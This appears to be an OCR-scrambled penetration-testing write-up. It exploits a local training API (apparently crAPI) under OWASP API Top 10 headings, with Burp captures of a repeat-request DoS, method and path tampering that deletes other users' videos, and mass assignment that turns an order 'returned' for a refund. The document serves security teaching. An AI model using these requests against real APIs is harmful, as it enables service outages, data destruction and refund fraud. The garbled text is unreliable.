VirycUOr90bNLWXDC1 tTdgEFHGBDB7CKBY Y 8Lsa750] nAf eHZ4TY 2DyKREK4Sf i aZ- 401 A3BrncG7 XY62 1 vCe2Pe0PdGTpMg8y xa0Umj u7twsk

"created_at":'2025-10- 16T18:11:15.6562"

" comments": [

"authorid:3,
" Createdat® ;" 2025:10 16T18:11:15,6562"

:"4bae96s- ec7f- 4de3- a3a0- balb2abSeses” ,

qldsFagw
10 Connection: keep-alive z

11 Cookie: chat_session_id=dd16586b-590f - 420f -b733- e68995cAa498
12 Sec-Fetch-Dest: empty

3 Sec-Fetch-Mode: cors

14 Sec-Fetch-Site: same-origin

15 Priority: u=0

1" 1" vgs IOV SoRKAxX STV VWCHT I,
"title':"Title 27,
“content":"Hello world 2",

gbar,
> gbacos@example. con',

"created_at":20; - 16T18:11:15.6552"
" comments": [

" authori
* Created,

2025-10-16T18:11:15.6552"

+"cdS15c12- Of c1- 48ae- 8b61- 8230b70a845b" ,

——>other users critical data

1" 1" JEBNSUYKT 551 GHNdBPLKIC" ,
"title':"Title 17,
Hello world 1",

"mickname " Adan’ ,
"email®:* adamoo7@example . con®

"vehicleid": " f8oh5f21.7829- 45ch- a650- 1090378" ,

Information like email, vehicle id shouldn’t be displayed.

When uploading a video in the user account we see that it displays information

about the

internal storage of the device, showing critical information like where the video is from.


https://owasp.org/API-Security/editions/2023/en/0xa3-broken-object-property-level-authorization/

Request

Pretty  Raw  Hex  Hackvertor

1 POST /identity/api/v2/user /videos WITR/1.1

Host: 127.0.0.1:8888

User- Agent: Mozilla/5.0 (X1L

Accept: */*

5 Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate

7 Referer: http://127.0.0.1:8888/my-profile

& Authorization: Bearer
eyhbGei 0L ISUZT NS J9. eydzdWT1 0191 ZEBk ZGRkLnZvbST sIml ndCT 6MT c2MDgxMj M100wi ZxhwT j oxNZY xNDESMTUAL CIyb2x 1] 01 dXNL
€19, deb0j yr 1 pNXTJEQAOTWOBP ] 1By 7XAgqi K 121 22r 2T 2cQup 40SNLaxyHnbp)_FUgT j KE4VVOVyEcw] dqi SgECuaj_HnehaNj FP- Cdsc

Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0

SR 20 X G O2NOE LYK AL aHL 1AL SUZTDLS Akt 3 7NMANEWOF EVI ] p ORGP 24T h sz
EE TSP 0T OGN DG T GgERHAECRCEYYBLEA71 S0 AF eHZA) Y 20) KK 31422 40 A28t GaLu Co P a0PaCT iy
*xaOUmju7twskqldoFag

Content-Type:

- - 48919256231624501633525965420

mltipart /forn-data; boundary=

4. Unrestricted Resource Consumption

Lack of Resources & Rate Limiting: APIs may not enforce limits on the number of requests,

leading to abuse.

In the contact mechanic option there is the ability to change the 2 options highlighted

.below

Pretty  Raw  Hex

Response

Hackvertor

] HTTP/1.1 200
Server: openresty/1.27.1.2
Date: Sat, 18 Oct 2025 19:03:2
Content-Type: application/json
Connection: keep-alive
Vary: Origin
7 Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access- Control-ALlow-Origin:
0 X-Content-Type-Options: nosniff

X-XSS-Protection: 0
: no-cache, no-store, max-age=0, must-revalidate
he

o
Content- Length 3790807 Strict-Transport-Security: max-age=31536000 ; includeSubDomains
Origin: [/127,0-9-1:0958 Kame f‘;ﬁ;i; e it displaying internal details about the video
chat_session_1d=dd16586b- 590f - 420f - b733- e68995c4a498 8
co-ratch pests ampy t
Sec-Fetch-Mode: cors vides
Sec-Fetch-Site: same-origin Tvides name“:“whatsﬂpp v)deo 2025-10-18 at 21.59.15.mpd",
Priority: u=a "conversion_params® :*-v codec h264*
wprofilevideo :
S - - 48919256231624591633525965420 data:image/ 7 ™ T CYWOBAAAAA( AAAAAABILMLVb3Y AAABSbXZ
Content-Disposition: form-data; name='file"; filename="whatsApp Video 2025-10-18 at 21.59.15.mpd" ¥ EQAFYPCH
Content-Type: video/mp4 DviydHIh hk AAAAAARY T AAAAABA
AAAAAL ( 1Tm1k bi AVCQA
ftypmpd?mpd?)sumbeamH muuvlmvhdﬁDA@SZtrak‘tkhdf@DSde)a mdhd(tuA“hdlrv)deSm)nfvmhd$d)nfdrefurl AaasaC 1 UEbWL: bk JGRpbIY ARAACZHILZgA
aistblstsdav d-sail (. HUybC MWAAACCC3RE jGe2ra ORUAAE
GARABT. EAAAAzVXZ]QkaAE//4QAdZ2QAHGkaAtﬂoaagICAoA
hajLARAAAY

1j8j
AAEAAAQAAAAAA AAAARAQAACK

[324__ httpin27.0.01:8888 POST v 200 518 JSON 22211518 Oc... 8080 127.001 296
a--
Request Response
Pretty Raw  Hex  Hackvertor W = pretty Raw  Hex Hackvertor n

1 POST /workshop/api/merchant/contact_mechanic HTTP/1.1
> Host: 127.0.0.1:8888

User-Agent: Mozilla/5.0 (X11
Accept: */*

Accept-Language: en-US, en;q=0.5
Accept-Encoding: gzip, deflate, br

7 Referer: http://127.0.0.1:8888/contact- mechani c?VIN=BREINK1EY 4322MKE8

Content-Type: application/json

Authorization: Bearer

eyJhbGei 03 JSUZ 1N J9. ey Jzdwl i 03 112E8k ZGRkLnZvbST sTmhdCL 6MTc2MDgxMj M10Cwi ZXhwT j oxN2Y xNDESMTUALCIyb2x LT o3 dXNLci 3
.d8b0jy 1 pNKTJEQAGTWOBP 18y 7Kg K121 221 21 2CQupAOSNLGxyHWp)-FUGTIKEAVVOWYEcw] g SGECua)_Heh i - Cdscadsdny
LIZWXF1 20M2PHy EXGF NI 0aNSL quRLXEK AN - Lmy_waHLHU LSLIZIDr3 08xkNY I3 7NMARTWOFEEVBMNK ) pIpMFAFQP24Th A GMSVZd2_TaTwSverH
My SO NDCL 7 dgEr+ g8y KV 3157350 AT eHZ47Y 2DyKRAGKA .42 204 ASGH XY O eCeZmoaPAGT By X DU U7 i
qldsFagy

0 Content-Length: 219

Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0

'S

Sec-Fetch-Site
Priority

same-origin

"mechani c_code’ : "TRAC_IME"
"problem_details’:"got tyre bust"

"vin® ;" ERBINKIEY4322MK6E

s mechani c_apit-thi - //127 0.0 12888 /workshop/api /mechanic/receive_report",
"repeat_request i failed':false

“number_of_repea

having the ability to change this to true and increase number_of_repeats

1 HITP/1.1 200 OK

> Server: openresty/1.27.1.2

Date: Sat, 18 Oct 2025 19:21:15 GMT

Content-Type: application/json

Connection: keep-alive

Allow: POST, OPTIONS

Vary: origin, Cookie

access-control-allow-origin:

X-Frame-Options: DENY

X-Content-Type-Options: nosniff

Referrer-policy: sane-origin
<-Origin-Openar-Policy:

Contant. Longth: 154

I

sams-origin

origin: http://127.0.0.1:8888 "response_from_mechanic_api”:
Connection: keep-aliv vidvil
Cookie: chat. seseson ad=d16506- 590f - 420f-b733- a6a505c 42408 "sentt:tr
Sec-Fetch-Dest #report Linke s#http://127.0.0. 1:6888 workshop /api /mechani </mechanic_report7report 1d-11

*Status 1200

So we decided to try and change the 2 values to see what the set parameter does:

Request
Pretty  Raw  Hex  Hackvertor
1 POST /workshop/api /merchant/contact_mechanic HTTP/1.1
> Host: 127.0.0.1:8888
user Agent: Mozilla/s.0 (x11;
*/*

Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0

IS

cep
Accspt Language: en-US,en;q=0.5
accept-Encoding: gzip, deflats, br
: http://127.0.0.1:8888/contact-mechani c7VIN=8REINX1BY 4322MK68
Content-Type: application/json
authorization: Bearer

2

Response

Pretty  Raw  Hex Hackvertor

1 HTTP/1.1 508 Service Unavailable
Server: openresty/1.27.1.2

Date: Sat, 18 Oct 2025 19:34:15 GMT
Content-Type: appbcat)un/]snn
Connection: keep-a

& Allow: POST, rioNs

7 Vary: origin, Cookie
access-control-allow-origin: *
X-Frame-Options: DENY

2

eyJhbGei01ISUzI 1N J9. ey) zdWI101 J1ZEBk ZGRkLnZvb ST ImLhelCI6MT € 2MDgx Mj M10Cwi ZXhw j oxNzY XNDEZMTUALC) yb2x 11 joi dXNLei ]

X-Content-Type-Options: nosniff

Referrer-Policy: same-origin
Cross-Origin-Opener-Polic
Content-Length: 71

9. debojyrf1pNXT JEqAGTWOBP] i By 7X4gqi K12 22rZT2c Qup 40SNqxyHripJ_FUQT j kEAVWOVyEcu] dmqi SgECuaj_Hneh AN FP- Cdscdasdny
UzZWX) 20MzPHYBX Gf NJ0aNST qwRUXbK4mnn- Lmy_waHLHMi L SUZI Dri 0AxkNY J17NMANTWOf EEVBMNK] pJpMFAFQP24Th4sGMSVZdz_TeTWSveFH
WryclUorGObNLWXDCI tTdgEFHGBDB7CKBYYSLs a7] S nAf eHZ4JY 2DyKRn8KA3f i q2- 401 A3BrncG7xY6z1vCe2Pe 0P GT pHaByxaOlmj u7twsk
qldoFagw

0 Content-Length: 221

Origin:

same-origin

http://127.0.0.1:8888 "message":"Service unavailable. Seems like you caused layer 7 DoS

kie: chat_session fd=dd15586b. 500 . 420f - b733- cE09SCAaa0
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

Priority: u=0 error message

"mechanic_code" : "TRAC_JME",

"problem_details":*got tyre bust',

"vin® ;" BREINKIEY 4322MKE8" ,

“mechanic_api® " httni//1 1

"repeat_request_if_failed :true
1]

/workshopyapi /mechanic/receive_report®,

“number_of_repeats

We dug a little dip to see what is the set number of repeats that one can do without taking
the site/services offline and got to the conclusion that it is 100. The rate limit is set from
1-100. Above this the service goes offline rendering availability inaccessible.


https://owasp.org/API-Security/editions/2023/en/0xa4-unrestricted-resource-consumption/

5. Broken Function Level Authorization

Insufficient checks on user permissions for specific functions can lead to unauthorized
access.

We changed the video name from our profile page.

So we went and wupdated the name and got this success message.

Q Success

Video Name Changed

We went to burp and saw the HTTP option in use is PUT and got curious to see if possible to
change to other options.

Request
Prett Raw Hex Hackvertor a8 wnw =

1 identity/api/v2/user/videos/102 HTTP/1.1

2 Host: 127.0.0.1:8888

3 User-Agent: Mozilla/5.0 (X11; Linux x86 64; rv:128.0) Gecko/20100101 Firefox/128.0

4 Accept: */%

5 Accept-Language: en-US,en;q=0.5

5 MAccept-Encoding: gzip, deflate, br

7 Referer: http://127.0.0.1:8888/my-profile

5 Content-Type: application/json

o Authorization: Bearer
eyJhbGe101JSUzI 1IN1J9. eylzdWI101 11 ZEBk ZGRkLNZvb ST sImLhd CI BMT c2MDgxM] MLOCWL ZXhwI joxNzY xNDE3MTU4LCIyb2x 1T jo1dXNle1d
9.d8b0]yrf1pNXT JEqQACTWOBP] 1By 7X4gqlK1ZlzzrZT 2cQupd0shLgxyHnWp J_FUgT kE4VVOVyEcw] dmgl 9gECua]_HnehAN]FP- CdScd4sdnv
LzWXFJ2oMzPHy BXGT NI 0aNSI qwRLUXbK4mnn - Lmy_waHLHML LSUZIDr1 0Axk MY J1 FNMARTWOT EEVBMNK ] pJpMFAFQP24T hd4sGMSYZdz_IeTWSveFH
WrycUoraobNLWXDCL tTdgEFHGBDE7CKEY Y Blsa7lSqnAf eHZ41Y 2DyKRn8K43f q1 qZ- 401 A38rncG7xY 6z Lv Ce2Pe0PdGT pMg By xa0lm] u7 twsk
qldoFagw

10 Content-Length: &2

11 Origin: http://127.0.0.1:8888

12 Connection: keep-alive

12 Cookie: chat_session_id=e022ddob- 1133- 4a60- 8a64- f 35d57e626ad

14 Sec-Fetch-Dest: empty

15 Sec-Fetch-Mode: cors

15 Sec-Fetch-Site: same-origin

17 Priority: u=0

18

19 1

"videoMame":"Baba Whatsfpp Video 2025-10-18 at 21.59.15.mp4"
1

Tried to change it to get, delete and to my surprise it was accepted and got some valuable
information that we need to be logged in as an admin to perform the task.


https://owasp.org/API-Security/editions/2023/en/0xa5-broken-function-level-authorization/
https://owasp.org/API-Security/editions/2023/en/0xa5-broken-function-level-authorization/

Request Response

Pretty  Raw  Hex  Hackvertor N3 Pretty  Raw  Hex Hackvertor

1[oELETE .yldeht)ty/ap)/v2/user/v)deus/102 HITR/1.1 changed HTTP request 1 HTTR/1.1 404

Host: 127.0.0.1:8888 Server: openresty/1.27.1.

User- Agent: Mozilla/5.0 (X11; Linux x86_84; rv:128.0) Gecko/20100101 Firefox/128.0 Date: Sun, 19 Oct 2025 15 48:32 GMT

2 Accept: Content-Type: application/json

5 Accept-Language: en-US,en;g=0.5 Connection: keep-alive
Accept-Encoding: gzip, deflate, br Vary: Origin

7 Referer: http:i//127.0.0.1:8888/my-profile 7 Vary: Access-Control-Request-Method

Content-Type: application/json Vary: Access-Control-Request- Hesders

authorization: Bearer Access-Control-Allow-Origi

eyIhbGei 0 JSUZT 1N 19. ey JzdWT 1 0111 ZEBKZGRKLNZvb ST S TmLhdCTEMT c2MDgx M} M10Cwi ZXhwT j 0xNzYXNDESMTUALCIyb2x LT joi dXNlci X- Content-Type-Options: nusmff

9.d8b0jyrf 1 pNXTJEqACTWOBP] 1By 7XAgqiK 121 22ZT2c Qup 405N axyHnpd_FUgT] kE4VVOVyEcwjdnqi SgECuaj_HnehANjFP- CdScd4Sdny X-XSS-Protection: 0

UzWXF) 20MzPHy 8XGF NI 0aNST qwRUXbKAMNN - LmV_waHLHM L SUZI Dr-i 0Axk NYJ 1 7NMANTWOf EEVBIMNK j pd pMFAFQP24Thas GMSVZdz_TeTWSvcFH |12 Cache- Control: no-cache, no-store, max-age=0, must-revalidate

WrycUOr9obNLWXDCi tTdgEFHGBDE7CKEY Y8l sa7J5q] nAf eHZ41Y 2DyKRn8K43f qi 4Z- 401 A38r neG7xY 62 Ly CeZPe0PdGT pMq By xalUmju7 twsk Pragma: no-cache

qldoFagw Expires: 0

10 Content-Length: 62 Strict-Transport-Security: max-age=31536000 ; includeSubDomains

11 Origin: Http://127.0.0.1:EEEE X-Frame-Option:
; Content-Length: &1

e

13 Cookie: chat_session_id= ddob- 11 f35d: d
14 SEC Fetch-Dest: empty {
15 Sec-Fetch-Mode: cors "message”:'This is an admin function. Try to access the admin API",
15 Sec-Fetch-Site: same-origin "status® 1403
Priority: u=o 1

*videoNane" :fBaba WhatsApp Video 2025 10-16 at 21.59.15.mp4]

_ error showing valuable information
updated new video name

However, in the request the user api can be changed and we tried to use the admin to see if
it will be successful.

Request Response
Pretty Raw Hex Hackvertor - . no= Pretty Raw Hex Hackvertor
1 DELETE /1dsnt)ty/ap)/viladmm'v)dsus/lui HTTP/L. 1 —»-changed user to admin 1 HTTP/1.1 200
> Host: 127 Server: openresty/1.27.1.2
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0 Date: Stn, 19 Oct 2025 17:05:50 GMT
4 Accept: /% 4 Content-Type: application/json
5 Connection: keep-alive

5 Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: httpi//127.0.0.1:8888/my-profile
Content-Type: application/json

Authorization: Bearer
eyIhbGei0i JSUZIINI JG. ey) zdWI10i J1ZEBk ZGRk LnZvbST sTmLhdCIBMT c2MDgx M ML 0Cw ZXhwI j 0xNzY xNDESMTUALCI yb2x 11 oidXNLeid

9.d8h0j yrfipNXTIEQACTWOBP] i By 7X4gqiK1Z122 rZT 2cQupAOSNLY xyHWpJ_FUGT jkEAVVOVYECW] dngi SgECuaj_HnehAN;] FP- Cdscd4sdny
UzWXFJ 20MzPHyEXGf NJ0aNST qwRUXbK 4mnn- LmV_waHLHMi LSUZTDri 0AXkNY J17NMANTWOf EEVBMNK ] pJ pMFdFQP24T h 4sGMSVZd=_TeTWSveFH
WrycUOr 96bNIWXDC tTdgEFHAEDE7CKEY Y 8lsa73SqjnAf eHZ4)Y 2DyKRnBKA3f i gZ- 401 A3BrneG7xY 62 LvCe2PeOPdGT p Mgy xa0UM] u7twsk
qldoFagw
Content-Length: 62
11 Origin: http://127.0.0.1:8888

L

Vary: Origin
Vary: Access-Control-Request-Method

Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

X-Content-Type-Options: nosniff

X-XSS-Protection: ©

Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache

Expires: 0

Strict-Transport-Security: max-age=31536000 ; includesubDomains
X-Frame-0ption:
, Content-Length: 59

°

1z & :
12 Cookie: chat_session_ii 1133- f35d! d
Sec-Fetch-Dest: empty i
Sec-Fetch-Mode: cors "message”:"User wideo deleted successfully.",
Sec-Fetch-Site: same-origin "status":200
Priority: u=0 i
s
"videoName" : "Baba WhatsApp Video 2025-10-18 at 21.59.15.mp4"
¥
got a success

This just allowed me to delete my own video and not other users, however there is an ID
parameter after video so we tried to change and see if we can delete other users' video by
changing the ID. Used intruder to change to come up with video ID available

G 75 =) 7 3
7 106 108 1 595
s 107 104 1 505
9 108 success Code 404 16 595
Request __Response
w

Pretty Raw  Hex  Hackvertor video ID
+ DELETE /identity/api/v2/adnin/videos G| HTTP/1.1 -
Host: 127.0.0.1:8888
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
4 Accept: ¥/*
Accept-Language: en-US, en;q=0.5
Accept-Encoding: gzip, deflate,
7 Referer: http://127.0.0.1:8888/my-profile
5 Content-Type: application/json
, Authorization: Bearer
eyJhbGei 03 JSUZT 1N J9. eyJzdwl 1 01 )1 ZEBKZGRKL hdcrem. XhwT joXNZY XNDESMTUALC)yb2x L1 j o dXNLci 9. dBboj y 1 pNXT JEGAOTWOBP i By 7XAgqiK1ZT 22 ZT: FUgTj j _HnehaN; FP- CdScddsdnvUzixed
ZoMzPHyEXGfNJOaNSIquubeAmnrv LmV_wa_HHi LSUZIDr OAxkNY )i 7NMANTWOT EEVBMNK ] pJp _IeTWSVCFH XDCi T dgEFHQBDB7CKBYY Lsa7JSqJnAfeHZAJYZDyKRnBKAZ‘qqu 401Azam:chvszvaezPeOPdmqusyxaoumju7tw5kqldQFagw

Content Lengt}
htt,

rigi //127 o. o 1:8888
Connection: keep-aliv
5 Cookie: chat_session_i $4=20224d0b- 1133- 4a60- 8364 £ 35457862580

Sec-Fetch-Des:

 Sec-Fetch-Sit
7 Priority:

"videoName" :"Baba WhatsApp Video 2025-10-18 at 21.59.15.mp4"

The response side:



6 105 200 17 573
7 106 404 14 595
8 107 404 14 595
9 108 404 16 505

Request  Response
Pretty ~Raw  Hex  Render  Hackvertor

| HTTP/1.1 200
> Server: openresty/1.27.1.2
3 Date: Sun, 19 Oct 2025 17:35:06 GMT

1 Content-Type: application/json

- Connection: keep-alive

5 Vary: Origin

7 Wary: Access-Control-Request-Method

3 Vary: Access-Control-Request-Headers

3 Access-Control-Allow-Origin: *

J X-Content-Type-Options: nosniff

| X-XS5-Protection: O

2 Cache-Control: no-cache, no-store, max-age=0, must-revalidate
3 Pragma: no-cache

1 Expires: 0

5 Strict-Transport-Security: max-age=31536000 ; includeSubDomalns
5 X-Frame-Options: DENY

7 Content-Length: 59

3
Ell

"message" :"User video deleted successfully.",

"status" :200
i

Successfully Deleted the video

6. Unrestricted Access to Sensitive Business Flows

Mass Assignment: APIs may allow users to modify object properties that they should not
have access to.

We went to the shop page to try out and see if we could get an item for free.

° Success

Order sent successfully.

Purchased the wheel to observe request
We got to see the http request allowed and tried them out.


https://owasp.org/API-Security/editions/2023/en/0xa6-unrestricted-access-to-sensitive-business-flows/

JSON 22135719 Oc... 8080 127001

98 http/[127.0.018888 GET 200 895

Request Response

Pretty Raw Hex  Hackvertor - 3 no= pretty Raw Hex E Hackvertor
Uses GET http method TR

workshop,/api /shop/orders/8 HTTP/1.1
Host: 127.0.0.1:8888

User-Agent: Mozilla/S.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0

4 Accept: */*

5 Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate, br

Referer: http://127.0.0.1:8888/orders?order_id=8 X

Content-Type: application/json »uses json format

o Authorization: Bearer X-Content- Type-Options: nosniff
ey3hbGei 011 SUZTING 9. eyJzdWIi 03,31 ZEBK ZGRKLNZvbSTSTmL hdCT6MT ¢ 2MDgxM} MLOCW ZXhwl j oxN2Y XNDESMTUALCIyb2x 11 joidXNlei |10 Referrer-Policy: same-origin
19.d8bOj y rf 1pNXTJEqACTWOBR] 1 By 7XAgqi K12 22 ZT 2cQup40SNLaxyHnipd_FUGT jkE4VVOVyEcw ] dngi 9gECuaj_HnehaNjFP-CdScdasd |11 Cross-Origin-Opener-Policy: same-origin
nvUzWXFJ 20MzPHy 8XGf NI 0aNST qwRUXbKAmnn - LmV_waHLHMi L 5UZT Dri 0Axk NY J1 7NMAn TWOf EEVBMNK ] p JpMFAFQP24Th 4sGMSVZdz_TeThSy > Content-Length: 547
cFHWrycUOr90bNLWXDCL +TdgEFHqBDE7CKEYYE1sa7] Sqj nAf eHZAJY 2DyKRn 8K 43 g1 qZ- 401 A38rncG7xY 6z LvCe2Pe0PdGT pMqByx aOlmju7
‘twskqldoFagw

10 Connection: keep-alive

11 Cookie: chat_session_id=e0z2ddob- 1133- 4as0- 8a64- f35057e626ad

> Server: openresty/1.27.1.2
Date: Sun, 19 Oct 2025 19:13:57 GHT

4 Content-Type: application/json

5 Conpnection; keep-all

& [Allow: ceT, PosT, Pur, HEAD, oPTIONS| »other HTTP methods allowed
Varyt origin, Cookie

X-Frame-Options: DENY

Sec-Fetch-Dest: empty "user”:{

Sec-Fetch-Mode: cors "email®:ededddd. vom'
14 Sec-Fetch-Site: same-origin "number® :+25471234567"
15 Priority: u=o 1,

"product”:{
vidii2

“name? :"wheel”,
"price":"10.00",
*image_urlt:'images/vheel.svg"

'status" :' delivered
"Eransaction_1d":"
"created_on*:"2025-10- 19T19:07: 37.880069"

'guantity": N .
————————»-valuable information

b728-af .

"payment® :{
"transaction_id":" b728- 4f .
"order_id
"amount" :10,

"paid_on":"2025- 10- 19T19:07:37. 880089" ,
"eard_number! : " OOXMXXXXXXXXE420",
"card_owner_name" :*jux’,

"card_type":" American Express®,
"card_expiry":"07/2027",

Added a json string “status” on the request side to see if it is successful

Request Response
Pretty ~Raw  Hex  Hackvertor WM = | pretty Raw  Hex Hackvertor
- [ Pretty
1 PUT /workshop/api/shop/orders/8 HITP/1.1 WITP/1.1 400 Bad Request
> Host: 127.0.0.1:8888 > Server: openresty/1.27.1.2
Date: Sun, 19 Oct 2025 19:27:31 GMT

User-Agent: Mozilla/S.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate, br

Referer: http://127.0.0.1:8888/orders?order_id=8

4 Content-Type: application/json
Comnection: keep-alive

Allow: GET, POST, PUT, HEAD, OPTIONS
Vary: origin, Cookie

X-Frame-Options: DENY
X-Content-Type-Options: nosniff
Referrer-Policy: same-origin
Cross-Origin-Opener-Policy: same-origin
2 Content-Length: 88

IS

Content-Type: application/json
authorization: Bearer

eyhbGed 01 JSUZT N3 J9. eyJzdwTi 01 1288k ZGRkLnZvbST s ImLhd CLMT c2MDgxM] MLOGWA ZXhwI  0x Nz¥ XNDESMTUALCIyb2x 11§ oi dxNlci
9.d8b0j yrf 1 pNXT JEQAGTWOBR; 1 By 7X4gqi K 12T z2r-ZT 2cQup 405N gxyHnWpJ_FUgT 3 kEAVVOVy Ecwj dmai 9gECuaj _HnehAN; FP- CdScdasdny
UzWiXF 20MzPHY 8XGf NI 0aNIT qwRLXbKAMNN - Lm_waHLHMi LSUZE Dr 1 0Axk NY J17NMANTWOf EEVD MNK] p JpMFAFQP24Th4sGMSVZdz_TeTWSvcFH
WirycUOr90bNLWXDCL tTdgEFHABDE7CKSY Y8l 5a7.50] nAf eHZ 1Y 2DyKRNBKA31 qi gZ- 401 A38rn cG7xY 62 LvCe2PeOPdGT pMBY Xa0Umj u7 twsk
qldoFagw

alt

"message" :'The value of 'status' has to be 'delivered’,'return pending' or 'returned'®

f }

¥
Cookie: chat_session i 11
> Sec-Fetch-Dest: empty

Sec-Fetch- Mode:
Sec-Fetch-Site: same-origin
5 Priority: u=0
5 Content-Length:

g

o

Tetatust Added a JSON string on the request value allowed in the status

Added returned since it is one of allowed status value and meets the objective to return the
item.

Request
Pretty  Raw  Hex  Hackvertor

Response
o= Pretty Raw Hex Hackvertor
1 HTTP/1.1 200 OK
Server: openresty/1.27.1.2
Date: Sun, 18 Oct 2025 19:40:31 GMT
Content-Type: application/json
Connection: keep-alive
Allow: GET, POST, PUT, HEAD, OPTIONS
vary: origin, Cookie
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
Referrer-Policy: same-origin
Cross-0rigin-Opener-Policy: same-origin
Content-Length: 286

1 PUT sworkshop/api/shop/orders/g HITP/1.1

Host: 127.0.0.1:8888

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate, br

Referer: http://127.0.0.1:8888/orders?order_id=8

Content-Type: application/json

Authorization: Bearer
eyJhbGei 01JSUZI 1N J9. eyJzdWIi 01 11 ZEBK ZGRkLnZvbST sTmlhdCTBMT c2MDgxM] M10Cw1 ZXhwI j 0xNzY xNDESMTUALCI yb2x LT joidXNLcid 1

9.dsb0ojyrf1pNXTJIEqACTWOBP] 1By 7X4gq1K 1Z1 2z r ZT 2c Qup40SNLgxyHnWpJ_FUGT ] kE4VVOVyEcw]dmql SgECuaj_HnehANjFP-CdScdasdnv 11
UZWXF 20MzPHYBXGF NI 0aNST qwRUXBK 4mnn - Lmy/_waHLHMLLSUZIDr 10AxKNY 11 7NMANT WOf EEVBMNK  pJ pMFdFQP24T h4sGMSVZdz_TeTWSVeFH 12
Wryclor90bNLWXDE £TdgEFHGEDS7CKEYY 8l sa715q] nAf eHZ41Y 2DyKRNSKA3f 4iqZ- 401 A3Brnc G7xY6z L vCe 2Pe0PdGT phlgSy xaOlmj u7twSk

IS

«

E

qldoFagw a9
e vorders”:{
ook1e: chat_session_id=e022ddob- 1133- 4a60- 8a64- f 35dS7e626ad vid' g,
> Sec-Fetch-Dest: empty "user”:{
Sec-Fetch-Mode: cors vemail®: " ed@dddd. vom',
Sec-Fetch-Site: same-origin "number" :"+25471234567"
Priority: u=0 1
Content-Length: 27 "product”:
aidn
i " name'
“status:*returned" “price":"10.00",
3 "image_url":'images wheel.svg"
3,
'quantity':l,
"status':'returned”,
"transaction_id":"eS5a324eS- b728- 4f c9- 9943- 9965d3290b61",
"created_on":" 2025- 10- 19T19:07: 37, 880059"
1
1

Was able to be refunded the money as well as item returned



< Past Orders

© &

Wheel Seat
$10.00 $10.00
Sun Oct 19 2025 Sun Oct 19 2025

Order Details Order Details

returned returned



Community

< Shop + Add Coupons = Past Orders

AVAILABLE BALANCE ] $100 » current balance

©@ v

Wheel Seat
$10.00 $10.00

a

We want to try and see if it's possible to top up more money so will create a new order
where we will have to create a new order.

Request

Response
Pretty Raw  Hex  Hackvertor QB W™ = pretty Raw  Hex Hackvertor
1[[pET |/workshop/api /shop /orders/35 HITP/1.1—————————® njtial orders request 1 HITP/1.1 200 OK
Host: 127.0.0.1:8888 Server: openresty/1.27.1.2
User-Agent: Mozilla/5.0 (X11; Linux x86_6s rv:128.0) Gecko/20100101 Firefox/128.0 Date: Mon, 20 Oct 2025 04:57:41 GMT

Accept: */*

Content-Type: application/json
Accept-Language:

Connection: keep-alive

v wn

en-US, en;q=0.5
gzip, deflate, br

v wn

s 5 Allow: GET, POST, PUT, HEAD, OPTIONS
7 . 7 Vary: origin, Cookie
8 Type: a json content- type & X-Frame-Options: DENY
o Authorization: Bearer © X-Comtent-Type-Options: nosniff
eyIhbGe1011SUZTINL 19, ey)ZdWL 1011 ZEBKZGRKLNZvbSI ST hdCLEMT c2MDgXM MLOCw1 ZXhw ] OXN2YXNDESMTUALCI yb2x 1 TjoidXNLeid |10 Referrer-Policy: same-origin
9.d8b0j yrfipNXTIEqAOTWOBP] 1By 7XAgqiK1Z 22 rZT 2cQupA40SNLqxyHNkip]_FUGT jkEAVVOVyEcw]dngiSgECuaj_HnehANjFP-CdScd4Sdny |11 Cross-Origin-Opener-Policy: same-origin
UZWXFI 20MzPHy BXGF NI 0aNST quRUXbKAMAN - Lmh_waHLHMi LSUZE Dr OAxkNY J3 7NMARTWOT EEVBMNK ]} pJpMFAFQP24Th 4sGMSVZdz_TeTwSveFH |12 Content-Length: 547
Wiy cUOrSObNUWXDCL tTdgEFHABDE7CKEY Y8l sa7)Sqj nAf eHZ4IY 2DyKRnEK4Sf qiqZ- 40 AZBrncG7xY 62y Ce2PeOPdGTpMaBy xa0Umj u7twsk |13
14 1

“order":{
vidn:3s,
tusert:{
"email® :*edadddd. von" ,
"number" ;" +25471234567"

1,

"product” :{
ideil,
"name* : "Seat”,
"price*:"10.00",
"image_url':"images/seat.svg"

what to alter

1,
"quantity":l, ————————» amount ordered
"status': "delivered,

“transaction_id":"22aZef4c-04d8- 496d-b048- bco429513cd3",
*created_on® :"2025- 10- 20704:55: 47. 433168"

payment®:{
"transaction_id":"2za2ef4c-04ds- 496d-b0as- beoazes1seds”,
"order_id":35,
" amount” : 10,
"paid_on* :"2025-10-20704:55: 47. 433168" ,
" card_number : " XXXOXXXXXXXE420" ,
" card_owner_name" :* jux",
" card_type*:*American Express’,
"card_expiry®:"07/2027",
" currency* ;" USD"



Request

Pretty Raw  Hex  Hackvertor

Pratty  Raw  Hex

Response

ndk Hackvertor

workshop/api/shop forders/25 HTTP/L.2 1 HTTR/1.1 200 oK
1 2 Server: openresty/1.27.1.2
3 VoriLha/s.0 (a1s Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0 = Date: Mon, 20 Oct 2025 05:07:47 GMT
2 : 4 Content-Type: application/json
s Accspt Language: en-US, en;q=0.5 = Connection: keep-alive
